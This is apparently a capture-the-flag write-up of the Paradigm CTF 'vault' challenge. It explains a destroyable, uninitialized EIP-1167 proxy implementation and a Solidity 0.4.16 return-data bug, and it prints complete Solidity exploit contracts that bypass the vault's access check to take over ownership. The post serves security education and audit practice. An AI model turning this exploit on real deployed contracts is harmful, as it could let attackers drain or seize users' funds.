security • ctf • smart contracts • ethereum
Writeup of Paradigm CTF: Vault
by Steve Marx on
Last weekend, I participated in the Paradigm CTF, a security capture the flag game around Ethereum smart contract security.
I was part of a team consisting mostly of employees from ConsenSys Quilt and ConsenSys Diligence, where I used to work as a security engineer. The competition was fun, and our team won!
I didn’t get much of a chance to collaborate with the rest of the team, but I did solve three of the challenges on my own. In this post, I’ll talk about the challenge called “vault.” I was the first to solve this one, and only three teams managed it before the end of the competition.
If you’re new to Ethereum smart contracts, you probably won’t enjoy this post. You might want to instead read my early post about what a smart contract is. The rest of this post will assume familiarity with the basics of Ethereum smart contract development.
The challenge
The vault challenge is a smart contract system consisting of a bank-like contract called Vault
, and a SingleOwnerGuard
contract that implements permission checks. The GuardRegistry
is largely unimportant. It’s just a layer of indirection for setting up a Guard
for the Vault
.
The Setup
contract sets up the system and defines what you need to do to solve the challenge.
At a high-level:
Vault
keeps ERC20 tokens safe by using aGuard
that controls which users can do which things.SingleOwnerGuard
checks permissions. It lets anyone undertake certain public actions and lets only the contractowner
undertake other actions.Setup
configures theVault
with aSingleOwnerGuard
that allows anyone to deposit and withdraw tokens and allows only theSetup
contract itself to call other functions.Setup
defines anisSolved()
function, which returnstrue
once you’ve managed to change theowner
of theVault
.
Code walkthrough
Vaults, guards, and proxies
Vault
doesn’t directly use an existing Guard
or deploy its own. Instead, it makes a proxy contract to an existing deployed Guard
. This uses the EIP-1167 Minimal Proxy Contract.
For the unfamiliar, the idea fo EIP-1167 is to save on gas by not having to redeploy the same code over and over. Instead, the implementation code is deployed just once, and each time a copy is needed, only a small proxy is deployed. This proxy uses DELEGATECALL
to invoke the code from the implementation contract in the context of the proxy.
The use of DELEGATECALL
means that each proxy has its own address, storage, and ether balance, but it gets to reuse code from a central deployment. This saves greatly on deployment costs.
Here’s the code that implements the EIP-1167 proxy, and yes, I checked that the proxy byte code is correct.
// create new guard instance
function createGuard(bytes32 implementation) private returns (Guard) {
address impl = registry.implementations(implementation);
require(impl != address(0x00));
if (address(guard) != address(0x00)) {
guard.cleanup();
}
guard = Guard(createClone(impl));
guard.initialize(this);
return guard;
}
// create eip-1167 clone
function createClone(address target) internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
Permission checks
Throughout Vault
, permission checks are performed by calling checkAccess()
, which in turn calls the Guard
's implementation of isAllowed()
. Here’s an example from a particularly tempting function I wanted to call:
// rescue stuck tokens
function emergencyCall(address target, bytes memory data) public {
require(checkAccess("emergencyCall"));
require(target.delegatecall(data));
}
// check access
function checkAccess(string memory op) private returns (bool) {
uint8 error;
(error, ) = guard.isAllowed(msg.sender, op);
return error == NO_ERROR;
}
SingleOwnerGuard.isAllowed()
looks like this:
// check if the sender is the owner, or if the op is public
function isAllowed(address who, string op) external view returns (uint8, uint8) {
if (who == owner()) return (NO_ERROR, 1);
for (uint i = 0; i < publicOps.length; i++) {
if (keccak256(publicOps[i]) == keccak256(op)) {
return (NO_ERROR, 2);
}
}
return (PERMISSION_DENIED, 1);
}
publicOps
is just an array of the public operations “deposit” and “withdraw” (as configured by Setup
), and they’re irrelevant to the vulnerability. The constants NO_ERROR
and PERMISSION_DENIED
are 0
and 1
, respectively.
SingleOwnerGuard
initialization and cleanup
Using a proxy means you can’t really use a constructor. This is because the constructor would run in the context of the original, singleton deployed contract, but initialization needs to happen in the context of each proxy.
The SingleOwnerGuard
code uses a fairly popular pattern of one-time initialization:
// initialize the proxy instance for the given vault
function initialize(Vault vault_) external {
require(!initialized);
vault = vault_;
initialized = true;
}
It also supports destroying an existing proxy via cleanup()
:
// clean up the proxy instance. must be the vault owner
function cleanup() external {
require(msg.sender == address(vault));
require(vault.guard() == this);
selfdestruct(owner());
}
Together, these functions contain a vulnerability almost identical to the famous “I accidentally killed it” incident that effectively destroyed ether worth at least $100 million.
The proxy vulnerability
Although initialize()
and cleanup()
are meant to be called through proxies, it’s possible to invoke them directly on the implementation SingleOwnerGuard
contract. Because that contract was never initialized, I was able to initialize it and set my own contract as its vault
, allowing me to later call cleanup()
to destroy the contract.
Here’s the contract I wrote to do that:
contract Solve {
address owner;
function doit1(Setup setup) external {
GuardRegistry registry = setup.registry();
Guard guard = Guard(registry.implementations(registry.defaultImplementation()));
guard.initialize(Vault(address(this)));
guard.cleanup();
}
function guard() external view returns (address) {
return msg.sender;
}
}
Note that I needed to implement the guard()
function so cleanup()
would succeed.
You might be wondering why I would want to do this. Surely, at best, destroying the Guard
implementation breaks the Vault
because it can’t perform permission checks. But I’ve left out one detail so far: all these contracts are compiled with Solidity 0.4.16.
The uninitialized memory vulnerability
The vulnerability that makes this exploitable is a bit esoteric, but it’s no surprise to see this vulnerability in the Paradigm CTF, and it’s no surprise that I spotted it easily.
The vulnerability is about return data length validation. I wrote a blog post in 2019 about the bug, which was found in the 0x exchange after my team at ConsenSys had audited the code and missed it. Samczsun is the security researcher who found the bug, and, as I understand it, he authored most of the challenges in the Paradigm CTF.
The bug is related to the way external calls were made in earlier versions of Solidity. This is the code in Vault
that asks the guard to do a permission check:
// check access
function checkAccess(string memory op) private returns (bool) {
uint8 error;
(error, ) = guard.isAllowed(msg.sender, op);
return error == NO_ERROR;
}
The call to guard.isAllowed(msg.sender, op)
roughly translates into this low-level pseudo-code:
ptr = free_memory_ptr
args = encode(guard.isAllowed, msg.sender, op)
mem[ptr:ptr+len(args)] = args
retlen = 2 // size of bytes8, bytes8
call(
guard, // address
ptr, // arguments location
len(args), // arguments length
ptr, // output location
retlen // output length
)
error, code = mem[ptr], mem[ptr+1]
Note that the input and the output locations are the same. The core bug is based on a couple of Ethereum virtual machine (EVM) quirks:
- Calls to addresses with no code, such as ones that have been destroyed, succeed without error.
- If less than
retlen
bytes are returned,call
does not touch the rest of the memory where the output is supposed to go.
This means that once we’ve destroyed the guard implementation, what ends up in error
is just whatever was already there in memory, which is the input data.
Exploiting the vulnerability
The goal is now clear: manipulate the arguments to guard.isAllowed()
such that there will be a zero (NO_ERROR
) in place when the result is read.
After stepping through the code in the Remix debugger, I saw that the important byte was the 16th byte of msg.sender
(the caller’s Ethereum address). This makes sense because the ABI encoding of isAllowed(address, string)
starts with the function’s 4-byte selector, followed by the address left-padded to 32 bytes:
function selector
v
ffff000000000000aaaaaaaaaaaaaaa*aaaa...
^ ^ ^
zeros msg.sender target byte
When interpreting a return value, a uint8
is encoded as the right-most byte of a 32-byte word. The 32nd byte of the above sequence is the same as the 16th byte of the msg.sender
address.
This means we have to manipulate what the address is that’s sending the malicious transaction. It needs to have a zero in just the right spot.
There are three different ways to get an address that has this property:
- Generate random private keys until the corresponding Ethereum address (derived from the hash of the public key) has the right byte.
- Try a bunch of salts with
CREATE2
until one will produce a contract address with the right byte. - Deploy a bunch of contracts (with plain old
CREATE
) until one has an address with the right byte.
The first and second methods have the advantage of being purely local. You don’t need to deploy anything to do it, as you’re just doing some math until you find what you’re looking for.
So of course I went for the third method. It seemed like the easiest to do quickly, and I knew that on average I would only need 256 deploys to find a working address.
Putting it all together
Here was my final exploit code:
pragma solidity 0.4.16;
import "./Setup.sol";
contract Caller {
function doit(Vault vault) {
vault.emergencyCall(msg.sender, new bytes(0));
}
}
contract Solve {
address owner;
function doit1(Setup setup) external {
GuardRegistry registry = setup.registry();
Guard guard = Guard(registry.implementations(registry.defaultImplementation()));
guard.initialize(Vault(address(this)));
guard.cleanup();
}
function doit2(Setup setup) external {
Caller caller;
while (true) {
caller = new Caller();
if (bytes20(address(caller))[15] == 0) {
break;
}
}
caller.doit(setup.vault());
}
function guard() external view returns (address) {
return msg.sender;
}
function() external {
owner = address(0);
}
}
doit2()
is what finds a good sender address. It just keeps deploying Caller
contracts until one has a zero in the 16th byte. Then it calls doit()
on that contract, which in turn invokes the vault’s emergencyCall()
function.
// rescue stuck tokens
function emergencyCall(address target, bytes memory data) public {
require(checkAccess("emergencyCall"));
require(target.delegatecall(data));
}
Because the msg.sender
has a zero in the 16th byte, the access check passes, and the vault does a DELEGATECALL
back into target
, which is the original Solve
contract. There, the fallback function is invoked, and owner
is set to address(0)
. This satisfies the condition in Setup
that recognizes an owner change as a solution to the challenge, but of course any state change would be possible here, including transferring funds to an attacker’s account, etc.
It sounds complicated…
If you’re not deep into Ethereum smart contracts (or even if you are), this vulnerability may sound quite scary. How can there be hope for secure smart contracts when surprising compiler and VM quirks abound?
Having worked professionally as a smart contract security auditor, I’m qualified to answer this question three different ways:
- Smart contract complexity tends to push the boundaries of what is verifiably safe. It’s right to be skeptical of relying on very complex systems to handle assets of significant value. Prefer simpler solutions where possible, even if they’re more expensive or less flexible.
- Modern Solidity code just doesn’t have this bug.
CALL
is no longer used in this way.RETURNDATASIZE
andRETURNDATACOPY
opcodes were added, and those are now used to safely read return data from an external call. - Smart contract audits work! Analysis tools can catch bugs like this one, and human audits routinely do. Spotting this bug took me less than 30 minutes.
It’s important to choose a good smart contract auditing team. I can wholeheartedly recommend my former team, ConsenSys Diligence. I even still do occasional contract work for them when I have time!